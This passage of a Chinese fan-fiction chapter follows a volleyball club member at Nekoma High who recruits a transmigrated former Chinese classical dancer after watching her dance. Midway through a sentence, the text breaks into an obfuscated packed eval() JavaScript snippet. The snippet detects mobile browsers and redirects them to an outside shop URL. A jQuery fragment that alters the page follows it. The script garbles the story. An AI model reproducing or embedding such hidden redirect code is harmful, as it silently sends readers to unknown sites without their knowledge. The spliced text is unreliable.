音驹高校开学一周后,新生大概摸清校园后的重头戏就是社团招新。
佐川麻美手上抱着一叠社团介绍,笑容殷勤。
“学妹,女子排球有兴趣吗?”
迎面遇到但凡身高条件好一点的女孩子她都会上去问一问。要不是排球运动实在不适合太矮的人,以她生怕放过任何可能性的心态,是每一个都要询问到的。纵使她笑容热情,态度积极,然而接下她传单的人仍寥寥无几。
其实也不怪别人,佐川麻美手上的传单又一次被学妹婉拒后,她不由苦笑。
音驹高校的排球社团分为男排和女排,过去两个都曾经辉煌过,“曾经”——都是过去的事情了,如今不过是没落的豪强罢了。
她沮丧地长长叹气,心情低落,招新的工作她主动揽下,之前在学姐们面前再三拍胸脯保证绝对会给社团拉来新人,但是没落的社团,怎么能和过去同日而与呢。
这都是太正常不过的人之常情。
这是人之常情。如果不是在国中时期就接触过排球、本身有兴趣,一般女生不会选择在高中加入一个陌生的运动社团。
运动社团又累又苦,想要出成绩更有门槛。而有排球基础的人,也更不会选择音驹——国中时的排球好手,往往会选择排球名声更响的高校。
比如枭谷学园,或是宫城县的新山女子高校,那里的女排是上届全国大赛的冠军。
把以上两种情况都排除,现在似乎会选择她们音驹女排的只有,已经进了音驹高中而后突然对排球感兴趣的人了。
不然无法解释怎么眼瞎到想加入她们。
【“今年要是能招到能上场的好苗子就好了。”】音驹女排的队长黑尾铁纱和同伴们半开玩笑半认真说,二传手泷枝子翻白眼打击说许愿去寺庙比较好。
佐川麻美心知肚明这话没错。
即使有新生出于礼貌接下传单、敷衍说“会考虑”,她们真的去排球部体验,如果完全没有天分,丝毫无成就感可言,缺乏正向反馈,热情就会悄无声息浇灭。
以前有过这样的女孩子,不少,在音驹曾经成绩斐然时更多,一开始满怀希望,而后在某一天悄悄递交了退部申请书,再也不见踪影。
而今年音驹的情况更加严峻,去年的主力三年级,在今年升学时退部了几个人导致现在上场的配置都凑不齐。
尤其是自由人位置,随着学姐离队,今年连替补都没有。
别看她现在招新生时来者不拒,实际上真正能派上用场的新人,必须是对排球有兴趣、甚至有一定天分的。而要挖掘这样一个“紫微星”?
简直如同中彩票般困难。
音驹有“猫”之称,校名发音里“neko”和猫的发音一致,而音驹也与猫结缘,校园里随处可见的猫咪们已是学校一景。
现在麻美脚下的一只橘猫,因为经常大胆找学生碰瓷、蹭吃蹭喝是熟面孔,它毛色鲜亮,师生称呼它为“小橘子”。
招新进度条为零,佐川麻美心情糟糕。
被接连拒绝的感觉并不好,她心累地蹲下身,手底有一搭没一搭抚摸磨蹭到她脚边撒娇讨吃的小橘猫软乎乎的肚子。
校园的小猫都不怕人,就着她的手指四肢朝天暴露毫无防备的腹部。
“要是招不到人,社团活动就不能继续了啊……”她低声自语。
音驹学生手册二十四条规定:社团活动要在每学年至少有一个新部员的情况下才可获得许可*。
所以如果没有新部员,别说晋级全国大赛、春高和老对手们一雪前耻了,她们从入场就失去资格。
这一点让佐川麻美几乎要着急地哭出来。
佐川麻美是高二学生,离毕业还有一年,表面上看,似乎哪怕今年她不参加也还有明年,然而她考虑的不光自己。
社团里的其他学姐们,包括部长黑尾铁纱都是今年升的高三。去年她们含恨败退,立志今年雪耻复仇,难道今年就要因为她招新的无能,而让学姐们最后一年以如此可笑的理由不能上场就失败吗?
她可以做些什么,求求老天,哪怕只有一个新生,也请看看她们社团吧。
佐川麻美这样祈求着。
上天听没听到不知道,小橘子却像是真的听到了些动静,在她手底下突然不安分,一个翻身回正身体,动作灵巧,顽皮地咬住她随手放在地上的传单,头也不回往一个方向跑去。
“小橘子,回来啊。”
麻美赶紧追上去。因为预计不会有多少人接传单,为了节省经费——学校拨给社团的经费与社团成绩挂钩,女排去年成绩平平,今年经费被大幅削减——她印制的传单本就不多。除了已经发出去的,剩下的几张全在小橘子嘴里。
她必须追上这个小捣蛋鬼,救下这些仅存的珍贵物料。
希望不会太晚,不被弄得太脏,也不被小祖宗口水完全浸湿到不能看,麻美大喊它的名字一边上气不接下气拼命跟着跑。
招新除了今天之外还有一天,她还指望多发几个人,碰碰运气呢。
招新的社团们的摊位熙熙攘攘挤满校门口附近的公共空地区,如果小橘子故意往人堆里钻,这么多人佐川麻美大抵是很难在拥挤的人群里抓住这个捣蛋鬼,幸而它奔去的方向是和人流量相反的树丛,在树丛之后是一片樱花林。
也是音驹一景。
四月份开学,樱花大片大片开得繁茂。
佐川麻美跟着小橘子的路径,一路穿过灌木。
这只小橘猫似乎也跑倦了了,停下忙碌的脚步,像和之前对着麻美撒娇讨吃的模样一般,它钻到不远处树底下一个女孩的脚底下。
“你这只小坏猫!”麻美跑得脸通红,她气喘吁吁扶着膝盖,盯着趴在地上弓着背脊伸懒腰的小猫。她这时才注意到一个女孩正半蹲着侧着身子,手里掐着纤长的草叶逗弄着小橘子。
察觉到她来的动静,这个女孩子转过脸朝着麻美的方向投来视线。
麻美惊愕地看着那个女孩子。
她太美丽了。
她从来没有见过这么好看的孩子。
长长的黑发像一匹绸缎披在她背脊,瓜子脸上下巴尖尖,脖颈纤细,肩膀瘦削,肤色白皙清透,麻美不禁想起了家里妈妈从中国带回来的一套瓷器,她和它们一样有着脆弱的美丽感。
有这样的联想是因为少女此刻面色比平常人更加苍白,神色忧郁,一双细细的眉毛似颦非颦,让人不禁心生怜惜。
她站直身体,麻美发现这女生身量颇高——相较于一般女生,据调查日本女性平均身高为158cm。
而这个女孩,麻美以自己一米七二的身高为基准目测,她大概有168cm上下,四肢修长。
【她一定是新生。】
麻美想。
因为她从来没在学校里看见过这个女孩,她并非应当认识学校的每一个女生,但这样姿容出色的女孩,照理说不应当毫无记忆。
这般极盛的容貌,如果是老生,早就在论坛引起轩然大波。
除非她是一年级刚刚入学的新生。
既然是新生......麻美不想放弃任何希望,顶着压力鼓起勇气。对太好看的人搭话感觉格外冒昧,她走上前主动开口道:“是新生学妹吗?你好啊。”
少女望着她默不作声,如果是一般活泼的学生就顺着学姐的话从善如流打招呼作自我介绍了,而眼前少女却并不遵循日本的社交惯例,依旧沉默,目光静静打量她。
佐川麻美心下说糟糕,果然这样的人都是有性格的,但话已出口,此时冷场离开反而更尴尬,她只得硬着头皮继续:“咳咳,学妹,我是高二的佐川麻美。今天是社团招新的日子,你不去看社团,在这里干什么呢?”
【没想到躲在这里也会遇见人啊……】
我垂眸,轻轻叹气。
不想主动开口并非我故意让这个女生难堪,说来理由也奇幻,我不想开口说我的名字。
竟是因为在前些日子,这还不是我的名字。
所以现在开口多少几分难以启齿。
我是一个穿越者。
醒来发现自己来到了这个可能是平行世界的世界。
认为是平行世界是因为这幅身体及父母的长相和我原先都一般无二,只是年纪上年轻了些,这看来是我白赚了些光阴,多少人梦寐以求回到青春少年时。
但令我不满的是,平白的还给我改了国籍,明明是一样的父母,大家却都顶着日本名儿了。
搞得我好不自在,也难以把我的新名字自如说出。
川合莉莉香。
见女生被冷待依旧不放弃向我搭话,日本崇尚纵向文化,先入学的“前辈”和后入学的“后辈”之间有明显而严格的序列,这种文化特征表现在必须使用敬语对学长学姐称呼,我之前没有主动介绍自己放在这种文化下显得已经不懂事。
幸而这女生脾气颇好,好像没有在意。我甚至觉得她和善得过分,我穿越前看过不少日韩校园霸凌的影视剧,对前后辈文化有所耳闻,既然她主动开口介绍自己,我继续冷漠就真的太没礼貌。
我:“我是今年入学的新生,我叫——”我顿了一下,一番心理建后设慢慢说出,“川合莉莉香。”
“骗人!”麻美惊呼。
我:“......”
麻美尴尬摆手,解释道:“我不是说你骗人,就是,就是——”她犹犹豫豫,“这个名字也太诈骗了吧。”
她欲言又止,我并不惊讶。
并非仅她一人听到我的名字有这样的反应,在班级入学自我介绍环节,几乎所有人都是同样复杂纠结。
这也是为何我如此抵触我新名字甚至回避开口提起的缘故
这个名字跟我根本不相符。
在日语里姓氏“川合”的发音和日语词汇“可爱”kawaii相当近似,而“莉莉香”这个名字听起来更觉得是一个性格活泼可爱,被娇宠着的女孩。
如此名和姓,与我,完全不搭边。
我像是偷了别人的名字,强行冠在我头上。
不过这也是真相,如果将不同平行世界的同一个人视为不同个体,我确实“偷”走了这个世界,这个真正父母宠爱着的,正值青春,性格理应柔软可人的川合莉莉香小姑娘的人生。
但我有什么办法呢。
就像我对他们的反应和看法也一样无可奈何。
我说:“学姐,没什么事我就先走了行吧。”
“诶,等等嘛!”
麻美不甘心就这样结束对话,又往前走了几步,越靠近,她越能比较出这个学妹身高和体型上突出的优势,好看的人身体也是美的,肩背舒展,线条流畅。
麻美招新,对每个个高的女生都会多看一眼。
对川合莉莉香,她自然不止多看一眼,而是好几眼,目光几乎移不开。
她又把刚刚的问题重新抛出来:“川合学妹,你怎么不去招新那块呢?”
如果是她,想想就知道只要她愿意出现,争先恐后招揽她的社团必定很多,即便她什么都不会,凭着脸戏剧社都会认定她是天选女主角。
于是麻美不认为她的独处是被拒绝,她想当然自作主张替川合莉莉香找了理由。
“是能够选择的太多,所以不知道选择哪个吗?”
我失笑:“我看起来像是很受欢迎的人吗?”
在班上已经被腹诽性格孤僻古怪这件事我心里太清楚了,因为不习惯日本礼仪,有时候还要加上“没礼貌”的评价。
见她有和我长聊的打算,我整理制服的裙子往地上坐下:“我只是不想过去罢了。”
“学生社团这种东西,也太麻烦了。”
日本和中国这点很不一样,高中生竟然不要求专心致志搞学习就够了,要求每个人必须参加社团,且社团活动占相当学分。
我把头搁在屈起的膝盖上,“刚刚是有一个学长非要拉我去戏剧部,可我不想去。”
麻美了然,“可以理解,戏剧社力争把每一个长得好的白菜都薅进他们地里,不管会不会演戏。”
麻美翻了个白眼,想起了校园祭上戏剧社节目里某些人蹩脚的演技,事实证明再帅的男的演技油里油气都会变得面目可憎。
“不过,你去戏剧社也蛮好的。”真美丽啊,麻美又瞥了一眼川合莉莉香,怕她发现连忙移开视线,她当然不想她真选择戏剧社。
毕竟她心里正酝酿一个念头。
然而麻美的性格又不容许她昧着良心说川合莉莉香不适合戏剧社,哪怕她的演技和屎一样,麻美心说,如果川合莉莉香是明星,那她就愿意做她的颜粉。
这样的人,天生就该在舞台上熠熠生辉。
思及此,佐川麻美话到嘴边又有几分瑟缩。
排球社训练又脏又累,远不如戏剧社这种地方光鲜亮丽。
“哈哈,不过你既然不想去戏剧社也是不喜欢,怎么其他的,你没有感兴趣的吗?”
我看了她一眼,“有......”
我又改口道。
“没有。”
这是一句假话。
事实上,我所热爱的在这个学校,乃至这个国家都不存在。
穿越前,我是一个舞蹈生。
因为身体条件,从很小就学习跳舞,打从记事起就在练功房里泡着,舞蹈一行本就吃童子功,从少年宫跳到舞蹈学院,再跳到剧团,一直在中国古典舞方向深造。
平转、点步翻身、倒踢紫金冠、云桥……那个舞台才是我的战场,是我爱之所在。
除了跳舞,没干过别的。
但穿越后,世界变了,国籍变了,环境和资源
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218633|197470||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也不再支持我重走熟悉的路。
甚至因为没有从小训练,我很清楚——我的关节、韧带、肌肉都无法适应前世专业舞蹈的极致要求。这副高中生的身体已经定型,像一些极限的软开度和关节形态,我几乎不可能达到前世那种童子功的水平。
不能不感到遗憾。
即便我依然记得所有技术与要领,这里也没有我熟悉的舞台了。
佐川麻美:“不可能,人都有感兴趣的,多多少少都会有的。”
她话语笃定,我只得又说:“好吧,我喜欢跳舞。”
“啊——”麻美摸摸头,苦恼道,“这还真难办了。”
“音驹确实没有舞蹈社呢。”她说,“不过果然是很棒的爱好呢,舞蹈很适合你哦。”爽朗的女孩伸出大拇指,“美女就应该优雅闪亮地跳舞吧。”
麻美低头瞅了瞅自己的运动套装,音驹女排配备的运动服是粉红色的,但即便是粉嫩嫩的颜色为了方便运动款式也还是平平无奇的运动款。
“和你相比,觉得自己粗莽了许多呢。”
我噗嗤被逗笑:“学姐,你好可爱啊。”
我自觉是一个性格不讨人喜欢的人,但会讨人喜欢的人是什么样我是知道的,眼前的女生大方开朗,情绪都摆在脸上,却毫无坏心,从出现主动和我搭话,无时无刻向我传递友好的善意。她是学姐却热情主动,一般遇见我这种,她本没有义务一直迁就我这样冷淡的人。
这种不让话掉在地上、不让人尴尬的相处方式,越经历越觉得是一种温柔。
有些人说话刻薄,丝毫不给人留情面。
我被她的情绪感染,不禁也有了说话的兴致:“你好像对跳舞有点误解哦。”
“其实跳舞也不是什么优雅闪亮的活计。”我笑眯眯,“你知道吗?舞蹈演员的舞鞋不光脚底板黑黑的,还很臭哦。”
想想也知道吧,一直在运动出汗的脚怎么可能香香的。
再漂亮的白天鹅其实训练时都会散发汗臭味,小说里香汗淋漓现实并不存在。
“跳舞,很苦很累的,也是灰头土脸的。”
“哦——”佐川麻美似懂非懂。
学妹刚刚笑了。
她笑的时候萦绕在她身边的郁气像是散去了些,又像是一缕轻柔的晨光破开云雾。
【她是真的很喜欢跳舞啊。】麻美这样想。
因为只有提到自己爱的事物,她才会露出这样的表情吧。
佐川麻美常被人说是一个心思浅白,脑子里只装得下排球的笨蛋。
但就是笨蛋,才会第一眼看到川合莉莉香,才觉得这个女孩寂寞得有些过分了。
像是自己把全世界隔绝在外,拒绝着所有人。
她想让川合莉莉香少露出那样落寞的神情。
佐川麻美给自己找了藉口——因为我是一个耿直的颜狗啊。
“跳舞,难道是探戈之类的吗?”麻美说罢兴冲冲站起来,抬起手左右移动几步,又自觉不像样,发现我看着她,这才后知后觉升起几分少女的羞涩,红脸道:“不好意思啊,我对探戈之类的印象就是,三步一回头趟啊趟啊走。”
我:“哈哈哈哈哈哈。”
“学妹!”佐川麻美跺脚,“我知道我说错了啦!”
“没有没有。”我拊掌附和,“你说的一点都没错,探戈就是那样的啦。”
佐川麻美:“......所以你不是喜欢探戈的吧。”
我:“额——”
“快告诉我啦!”她张牙舞爪扑过来。
“好吧好吧。”我闪身躲避她的动作,我没有生气,相反很喜欢这样热情可爱的小姑娘,因而难得愿意顺着她的意思,真的站起身给她演示起来。
“不是探戈啦。”
探戈我也会,古典舞的基础训练结合芭蕾舞,刚开始打基础时不知道专修什么舞种时也学了国标,国标舞十项包括摩登舞和拉丁舞各五种,探戈只是其中摩登舞的一种。
我稍稍活动手脚,我抬手作出虚揽舞伴动作,脚下交叉步、踢腿、跳跃,仿佛伴着明快的音乐,舞步快的竟然眼花缭乱。
明明是跳跃,上身却一点稳定,脚下动作干净利索。
我不是专业国标生,但是摆起架子糊弄外行人是够了的。
“所以嘛,你说的一点都没错啊,探戈就是趟啊趟啊。”我眉眼弯弯。
而佐川麻美确实被我唬住,巴掌鼓得啪啪作响。
“好厉害!”
“你还说你不是喜欢探戈?”她不服气,“你跳得这么好!”
我突然心头浮上几分不甘。
我是不想在异国谈论独属中国的古典舞,它在中国才能被建构、被认同,是体现我们中国古典美学精神的舞蹈体系。
同样都叫古典舞,中国的古典舞就和印度的古典舞天壤之别,它不仅是艺术,更是文化。
但此时此刻,被称赞探戈好的我却莫名不高兴了。
——你都不知道,我真正擅长的东西,它有多么好。
我微微一笑:“这就算好了吗?那我给你看个厉害的。”
深深呼气,手指挽花,一个抬腿踢到身前离脸几公分高度,紧接前桥翻身。
若流风之回雪,灵动纤柔。
佐川麻美惊呆了,这一点不奇怪,震惊她的不是我,是我们积淀千年的传统文化瑰宝的魅力。
这是我骄傲的东西啊。
而我不知道的是,这个怔愣的女孩,盯着我,除了惊叹还在想着别的事情。
佐川麻美确实抓住了别的东西。
黑尾铁纱曾说竞技有些东西是共通的,她曾经不解其意。
反应能力、运动神经……这些优秀身体素质条件在任何一项竞技项目中都是存在的。
川合莉莉香是一个非常优秀的舞者,哪怕几个简单的动作,迎面扑来的气势已经势不可挡。
这是一种“势”。
但更重要的东西,佐川麻美思忖,要铺垫她完成这些动作的基础——是强大的上身核心力量和腿部力量,精准的肌肉控制,优秀的弹跳能力......甚至还有舞者突出于其他运动的要求——身体的协调性和柔软度。
而这些......是不是能成为排球场上的武器呢?
“川合学妹!!”佐川学姐激动地握住我的手,满眼星星地看着我,“学校没有舞蹈社真是太好了!”
我:“?”
姐妹,你刚刚还不是这个态度啊!
我不明所以,一头雾水。
“啊,我的意思不是这个。”
麻美不小心把真心话说出来,趁川合莉莉香还没反应过来她赶紧糊弄过去,“我的意思是,你有没有兴趣,尝试一个新社团。”
“女子排球社!!”
“我保证你会合适的!!”